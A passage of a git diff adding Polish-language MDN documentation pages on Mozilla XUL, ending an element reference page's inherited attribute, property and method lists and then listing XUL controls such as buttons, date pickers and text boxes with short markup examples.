+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kontrolki_xul/index.html b/files/pl/mozilla/tech/xul/kontrolki_xul/index.html
new file mode 100644
index 0000000000..9038830bc8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kontrolki_xul/index.html
@@ -0,0 +1,145 @@
+---
+title: Kontrolki XUL
+slug: Mozilla/Tech/XUL/Kontrolki_XUL
+tags:
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Archive/Mozilla/XUL/XUL_controls
+---
+<p>Poniższa tabela przedstawia listę kontrolek dostarczanych przez język XUL użytkownikowi. Zobacz <a href="/pl/Kurs_XUL" title="pl/Kurs_XUL">Kurs XUL</a>, by dowiedzieć się, w jaki sposób są one używane oraz <a href="/pl/Dokumentacja_XUL" title="pl/Dokumentacja_XUL">dokumentację XUL</a>.</p>
+<table> <tbody> <tr> <td><strong>&lt;button&gt;</strong> <p>Przycisk, który może być naciśnięty przez użytkownika.</p> <pre>
+&lt;button label="Save" accesskey="S"/&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Dodawanie_przycisków" title="pl/Kurs_XUL/Dodawanie_przycisków">Więcej informacji o elemencie button</a>.</li> <li><a href="/pl/XUL/button" title="pl/XUL/button">Dokumentacja przycisków</a></li> </ul> </td> <td><img alt="Grafika:Controlsguide-button.png" class=" internal" src="/@api/deki/files/2289/=Controlsguide-button.png"></td> </tr> <tr> <td><strong>&lt;button type="menu"&gt;</strong> <p>Przycisk, który posiada dołączone rozwijane menu. Naciskając przycisk otworzymy menu.</p> <pre>
+&lt;button type="menu" label="View"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="List"/&gt;
+ &lt;menuitem label="Details"/&gt;
+ &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Dodatkowe_możliwości_przycisku#Przycisk_z_menupopup" title="pl/Kurs_XUL/Dodatkowe_możliwości_przycisku#Przycisk_z_menupopup">Więcej informacji o tym typie menu w elemencie button</a>.</li> <li><a href="/pl/XUL/button" title="pl/XUL/button">Dokumentacja przycisków</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></li> </ul> </td> <td><img alt="Grafika:Controlsguide-button-menu.png" class=" internal" src="/@api/deki/files/2288/=Controlsguide-button-menu.png"></td> </tr> <tr> <td><strong>&lt;button type="menu-button"&gt;</strong> <p>Przycisk, który posiada odrębną strzałkę z załączonym do niej menu. W przeciwieństwie do przycisku typu "menu", po naciśnięciu na główną jego część może zostać wykonana oddzielna akcja.</p> <pre>
+&lt;button type="menu-button" label="New"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="New Document"/&gt;
+ &lt;menuitem label="New Image"/&gt;
+ &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Dodatkowe_możliwości_przycisku#Przycisk_z_menupopup" title="pl/Kurs_XUL/Dodatkowe_możliwości_przycisku#Przycisk_z_menupopup">Więcej informacji o tym typie menu w elemencie button</a>.</li> <li><a href="/pl/XUL/button" title="pl/XUL/button">Dokumentacja przycisków</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></li> </ul> </td> <td><span class="comment">Grafika:Controlsguide-button-menubutton.png</span></td> </tr> <tr> <td><strong>&lt;checkbox&gt;</strong> <p>Kontrolka, która może być włączona lub wyłączona, zazwyczaj stosujemy ją do utworzenia opcji, która może być włączona lub wyłączona.</p> <pre>
+&lt;checkbox label="Show Toolbar Labels" checked="true"/&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Kontrolki_wejścia#Checkboxes_and_Radio_Elements" title="pl/Kurs_XUL/Kontrolki_wejścia#Checkboxes_and_Radio_Elements">Więcej informacji o elemencie checkbox</a>.</li> <li><a href="/pl/XUL/checkbox" title="pl/XUL/checkbox">Dokumentacja pola wyboru</a></li> </ul> </td> <td><img alt="Grafika:Controlsguide-checkbox.png" class=" internal" src="/@api/deki/files/2290/=Controlsguide-checkbox.png"></td> </tr> <tr> <td><strong>&lt;colorpicker&gt;</strong> <p>Kontrolka pozwalająca użytkownikowi na wybór koloru.</p> <pre>
+&lt;colorpicker color="#FF0000"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/colorpicker" title="pl/XUL/colorpicker">Dokumentacja kontrolki Colorpicker</a></li> </ul> </td> <td><span class="comment">Grafika:Controlsguide-colorpicker.png</span></td> </tr> <tr> <td><strong>&lt;colorpicker type="button"&gt;</strong> <p>Specjalny typ kontrolki colorpicker, który pokazuje tylko przycisk, lecz po jego naciśnięciu wyświetli się okienko z możliwością wyboru koloru.</p> <pre>
+&lt;colorpicker type="button" color="#CC0080"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/colorpicker" title="pl/XUL/colorpicker">Dokumentacja kontrolki Colorpicker</a></li> </ul> </td> <td><img alt="Grafika:Controlsguide-colorpicker-button.png" class=" internal" src="/@api/deki/files/2291/=Controlsguide-colorpicker-button.png"></td> </tr> <tr> <td><strong>&lt;datepicker&gt;</strong> <p><strong><span class="highlightred"><small>Nowość w Mozilli 1.9 / Firefox 3</small></span></strong></p> <p>Ustawienie pola tekstowego, które może być zastosowane do wprowadzenia daty.</p> <pre>
+&lt;datepicker value="2007/03/26"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/datepicker" title="pl/XUL/datepicker">Dokumentacja kontrolki Datepicker</a></li> </ul> </td> <td><img alt="Grafika:Controlsguide-datepicker.png" class=" internal" src="/@api/deki/files/2293/=Controlsguide-datepicker.png"></td> </tr> <tr> <td><strong>&lt;datepicker type="grid"&gt;</strong> <p><strong><span class="highlightred"><small>Nowość w Mozilli 1.9 / Firefox 3</small></span></strong></p> <p>Element datepicker, który wyświetla siatkę z wyborem daty.</p> <pre>
+&lt;datepicker type="grid" value="2007/02/20"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/datepicker" title="pl/XUL/datepicker">Dokumentacja kontrolki Datepicker</a></li> </ul> </td> <td><img alt="Grafika:Controlsguide-datepicker-grid.png" class=" internal" src="/@api/deki/files/2292/=Controlsguide-datepicker-grid.png"></td> </tr> <tr> <td><strong>&lt;datepicker type="popup" &gt;</strong> <p><strong><span class="highlightred"><small>Nowość w Mozilli 1.9 / Firefox 3</small></span></strong></p> <p>Element datepicker, który wyświetla zbiór pól tekstowych do wprowadzenia daty, lecz posiada również przycisk, po którego naciśnięciu wyświetla się siatka kalendarza.</p> <pre>
+&lt;datepicker type="popup" value="2008/08/24"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/datepicker" title="pl/XUL/datepicker">Dokumentacja kontrolki Datepicker</a></li> </ul> </td> <td> </td> </tr> <tr> <td><strong>&lt;description&gt;</strong> <p>Element description jest stosowany do tekstu opisowego.</p> <pre>
+&lt;description&gt;
+ Select a time for the event to start
+&lt;/description&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Dodawanie_etykiet_i_obrazków#Element_Description" title="pl/Kurs_XUL/Dodawanie_etykiet_i_obrazków#Element_Description">Więcej informacji o elemencie description</a>.</li> <li><a href="/pl/XUL/description" title="pl/XUL/description">Dokumentacja elementu Description</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-description.png" class=" internal" src="/@api/deki/files/2266/=Controlguide-description.png"></td> </tr> <tr> <td><strong>&lt;groupbox&gt;</strong> <p>Element groupbox wyświetla pudełko z etykietą wokoło interfejsu kontrolek.</p> <pre>
+&lt;groupbox&gt;
+ &lt;caption label="Network"/&gt;
+&lt;/groupbox&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Pola_grup" title="pl/Kurs_XUL/Pola_grup">Więcej informacji o elemencie groupbox</a>.</li> <li><a href="/pl/XUL/groupbox" title="pl/XUL/groupbox">Dokumentacja elementu groupbox</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></li> </ul> </td> <td><img alt="Grafika:Controlguide-groupbox.png" class=" internal" src="/@api/deki/files/2267/=Controlguide-groupbox.png"></td> </tr> <tr> <td><strong>&lt;image&gt;</strong> <p>Obrazek określony przez adres URL.</p> <pre>
+&lt;image src="start.png"/&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Dodawanie_etykiet_i_obrazków#Obrazki" title="pl/Kurs_XUL/Dodawanie_etykiet_i_obrazków#Obrazki">Więcej informacji o elemencie image</a>.</li> <li><a href="/pl/XUL/image" title="pl/XUL/image">Dokumentacja elementu Image</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-image.png" class=" internal" src="/@api/deki/files/2268/=Controlguide-image.png"></td> </tr> <tr> <td><strong>&lt;label&gt;</strong> <p>Etykieta jest stosowana do tworzenia tekstu, który jest etykietą pobliskiej kontrolki.</p> <pre>
+&lt;label control="volume" value="Volume:"/&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Dodawanie_etykiet_i_obrazków#Element_label" title="pl/Kurs_XUL/Dodawanie_etykiet_i_obrazków#Element_label">Więcej informacji o elemencie label</a>.</li> <li><a href="/pl/XUL/label" title="pl/XUL/label">Dokumentacja etykiety</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-label.png" class=" internal" src="/@api/deki/files/2269/=Controlguide-label.png"></td> </tr> <tr> <td><strong>&lt;listbox&gt;</strong> <p>Element listbox jest stosowany do zaznaczenia pozycji z listy pozycji będących etykietami.</p> <pre>
+&lt;listbox&gt;
+ &lt;listitem label="Chocolate"/&gt;
+ &lt;listitem label="Jelly Beans"/&gt;
+&lt;/listbox&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Kontrolki_list#Pola_listy" title="pl/Kurs_XUL/Kontrolki_list#Pola_listy">Więcej informacji o elemencie listbox</a>.</li> <li><a href="/pl/XUL/listbox" title="pl/XUL/listbox">Dokumentacja elementu Listbox</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></li> </ul> </td> <td><img alt="Grafika:Controlguide-listbox.png" class=" internal" src="/@api/deki/files/2270/=Controlguide-listbox.png"></td> </tr> <tr> <td><strong>&lt;menulist&gt;</strong> <p>Element menulist (lub combobox) jest stosowany do tworzenia kontrolki wyboru z rozwijanym menu.</p> <pre>
+&lt;menulist&gt;
+ &lt;menupopup&gt;
+ &lt;menulist label="Lions" value="l"/&gt;
+ &lt;menuitem label="Tigers" value="t"/&gt;
+ &lt;menuitem label="Bears" value="b"/&gt;
+ &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Kontrolki_list#Listy_rozwijane" title="pl/Kurs_XUL/Kontrolki_list#Listy_rozwijane">Więcej informacji o elemencie menulist</a>.</li> <li><a href="/pl/XUL/menulist" title="pl/XUL/menulist">Dokumentacja elementu menulist</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></li> </ul> </td> <td><img alt="Grafika:Controlguide-menulist.png" class=" internal" src="/@api/deki/files/2272/=Controlguide-menulist.png"></td> </tr> <tr> <td><strong>&lt;menulist editable="true"&gt;</strong> <p>Edytowalna lista menu jest jak standardowa lista menu oprócz tego, że zaznaczona wartość jest wyświetlana w polu tekstowym, gdzie może ona zostać bezpośrednio zmodyfikowana lub posłużyć do wpisania nowej wartości, której nie ma w menu po jego rozwinięciu.</p> <pre>
+&lt;menulist editable="true"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Elephants" value="Elephants"/&gt;
+ &lt;menuitem label="Kangaroos" value="Kangaroos"/&gt;
+ &lt;menuitem label="Bats" value="Bats"/&gt;
+ &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Kontrolki_list#Lista_menu_do_edycji" title="pl/Kurs_XUL/Kontrolki_list#Lista_menu_do_edycji">Więcej informacji o elemencie listy menu do edycji</a>.</li> <li><a href="/pl/XUL/menulist" title="pl/XUL/menulist">Dokumentacja elementu Menulist</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></li> </ul> </td> <td><img alt="Grafika:Controlguide-menulist-editable.png" class=" internal" src="/@api/deki/files/2271/=Controlguide-menulist-editable.png"></td> </tr> <tr> <td><strong>&lt;progressmeter&gt;</strong> <p>Pasek postępu jest stosowany do wyświetlenia postępu długości zadania.</p> <pre>
+&lt;progressmeter value="40"/&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Paski_postępu" title="pl/Kurs_XUL/Paski_postępu">Więcej informacji o elemencie progressmeter</a>.</li> <li><a href="/pl/XUL/progressmeter" title="pl/XUL/progressmeter">Dokumentacja elementu progressmeter</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-progressmeter.png" class=" internal" src="/@api/deki/files/2273/=Controlguide-progressmeter.png"></td> </tr> <tr> <td><strong>&lt;radio&gt;</strong> <p>Przycisk opcji jest stosowany, gdy tylko jedna z zestawu opcji może zostać wybrana za jednym razem.</p> <pre>
+&lt;radiogroup&gt;
+ &lt;radio label="Light" value="light"/&gt;
+ &lt;radio label="Heavy" value="heavy"/&gt;
+&lt;/radiogroup&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Kontrolki_wejścia#Pola_wyboru_i_przyciski_opcji" title="pl/Kurs_XUL/Kontrolki_wejścia#Pola_wyboru_i_przyciski_opcji">Więcej informacji o elemencie radio</a>.</li> <li><a href="/pl/XUL/radio" title="pl/XUL/radio">Dokumentacja przycisku opcji</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></li> </ul> </td> <td><img alt="Grafika:Controlguide-radio.png" class=" internal" src="/@api/deki/files/2274/=Controlguide-radio.png"></td> </tr> <tr> <td><strong>&lt;richlistbox&gt;</strong> <p>Element richlistbox wyświetla listę pozycji, gdzie jedna lub więcej z nich może zostać zaznaczona. W przeciwieństwie do elementu listbox, który został zaprojektowany, aby wyświetlać tylko tekst, richlistbox może wyświetlać dowolny typ zawartości.</p> <pre>
+&lt;richlistbox&gt;
+ &lt;richlistitem&gt;
+ &lt;image src="happy.png"/&gt;
+ &lt;/richlistitem&gt;
+ &lt;richlistitem&gt;
+ &lt;image src="sad.png"/&gt;
+ &lt;/richlistitem&gt;
+ &lt;richlistitem&gt;
+ &lt;image src="angry.png"/&gt;
+ &lt;/richlistitem&gt;
+&lt;/richlistbox&gt;
+</pre> <ul> <li><a href="/pl/XUL/richlistbox" title="pl/XUL/richlistbox">Dokumentacja Richlistbox</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/richlistitem" title="richlistitem">richlistitem</a></code></li> </ul> </td> <td><img alt="Grafika:Controlguide-richlistbox.png" class=" internal" src="/@api/deki/files/2275/=Controlguide-richlistbox.png"></td> </tr> <tr> <td><strong>&lt;scale&gt;</strong> <p><strong><span class="highlightred"><small>Nowość w Mozilli 1.9 / Firefox 3</small></span></strong></p> <p>Element scale wyświetla pasek z uchwytem, który może być przesuwany wzdłuż paska, aby wybrać wartości z określonego zakresu.</p> <pre>
+&lt;scale min="1" max="10"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/scale" title="pl/XUL/scale">Dokumentacja elementu Scale</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-scale.png" class=" internal" src="/@api/deki/files/2278/=Controlguide-scale.png"></td> </tr> <tr> <td><strong>&lt;textbox&gt;</strong> <p>Element textbox, który pozwala wprowadzić pojedynczą linię tekstu.</p> <pre>
+&lt;textbox value="firefox"/&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Kontrolki_wejścia#Pola_tekstowe" title="pl/Kurs_XUL/Kontrolki_wejścia#Pola_tekstowe">Więcej informacji o elemencie textbox</a>.</li> <li><a href="/pl/XUL/textbox" title="pl/XUL/textbox">Dokumentacja elementu Textbox</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-textbox.png" class=" internal" src="/@api/deki/files/2283/=Controlguide-textbox.png"></td> </tr> <tr> <td><strong>&lt;textbox multiline="true"&gt;</strong> <p>Element textbox, który pozwala na wprowadzenie wieloliniowego tekstu.</p> <pre>
+&lt;textbox multiline="true"/&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Kontrolki_wejścia#Wieloliniowy_textbox" title="pl/Kurs_XUL/Kontrolki_wejścia#Wieloliniowy_textbox">Więcej informacji o wieloliniowym elemencie textbox</a>.</li> <li><a href="/pl/XUL/textbox" title="pl/XUL/textbox">Dokumentacja elementu textbox</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-textbox-multiline.png" class=" internal" src="/@api/deki/files/2279/=Controlguide-textbox-multiline.png"></td> </tr> <tr> <td><strong>&lt;textbox type="autocomplete"&gt;</strong> <p>Element textbox, który dostarcza rozwijane menu pokazujące podpowiedzi, które mogłyby pasować do wpisywanego przez użytkownika tekstu. Użytkownik może zaznaczyć jedną z podpowiedzi, aby wstawić ją do pola tekstowego.</p> <pre>
+&lt;textbox type="autocomplete" autocompletesearch="history"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/textbox" title="pl/XUL/textbox">Dokumentacja elementu textbox</a></li> </ul> </td> <td> </td> </tr> <tr> <td><strong>&lt;textbox type="number"&gt;</strong> <p><strong><span class="highlightred"><small>Nowość w Mozilli 1.9 / Firefox 3</small></span></strong></p> <p>Element textbox dla wprowadzanych liczb. Dwa przyciski strzałek są wyświetlane do przechodzenia między wartościami.</p> <pre>
+&lt;textbox type="number" min="1" max="20"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/textbox" title="pl/XUL/textbox">Dokumentacja elementu Textbox</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-textbox-number.png" class=" internal" src="/@api/deki/files/2281/=Controlguide-textbox-number.png"></td> </tr> <tr> <td><strong>&lt;textbox type="password"&gt;</strong> <p>Element textbox, który ukrywa typ znaków, stosowany w polach z hasłami.</p> <pre>
+&lt;textbox type="password"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/textbox" title="pl/XUL/textbox">Dokumentacja elementu textbox</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-textbox-password.png" class=" internal" src="/@api/deki/files/2282/=Controlguide-textbox-password.png"></td> </tr> <tr> <td><strong>&lt;timepicker&gt;</strong> <p><strong><span class="highlightred"><small>Nowość w Mozilli 1.9 / Firefox 3</small></span></strong></p> <p>Element timepicker wyświetla zbiór pól tekstowych do wprowadzenia czasu.</p> <pre>
+&lt;timepicker value="12:05"/&gt;
+</pre> <ul> <li><a href="/pl/XUL/timepicker" title="pl/XUL/timepicker">Dokumentacja elementu timepicker</a></li> </ul> </td> <td><img alt="Grafika:Controlguide-timepicker.png" class=" internal" src="/@api/deki/files/2285/=Controlguide-timepicker.png"></td> </tr> <tr> <td><strong>&lt;toolbarbutton&gt;</strong> <p>Przycisk, który jest wyświetlany na pasku narzędzi.</p> <pre>
+&lt;toolbarbutton label="Reload"/&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Paski_narzędzi" title="pl/Kurs_XUL/Paski_narzędzi">Więcej informacji o elemencie toolbarbutton</a>.</li> <li><a href="/pl/XUL/toolbarbutton" title="pl/XUL/toolbarbutton">Dokumentacja elementu toolbarbutton</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></li> </ul> </td> <td><img alt="Grafika:Controlguide-toolbarbutton.png" class=" internal" src="/@api/deki/files/2286/=Controlguide-toolbarbutton.png"></td> </tr> <tr> <td><strong>&lt;toolbarbutton type="menu"&gt;</strong> <p>Przycisk, który jest wyświetlony z załączonym rozwijalnym menu w sobie.</p> <pre>
+&lt;toolbarbutton type="menu" label="Show"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Toolbars"/&gt;
+ &lt;menuitem label="Status Bar"/&gt;
+ &lt;/menupopup&gt;
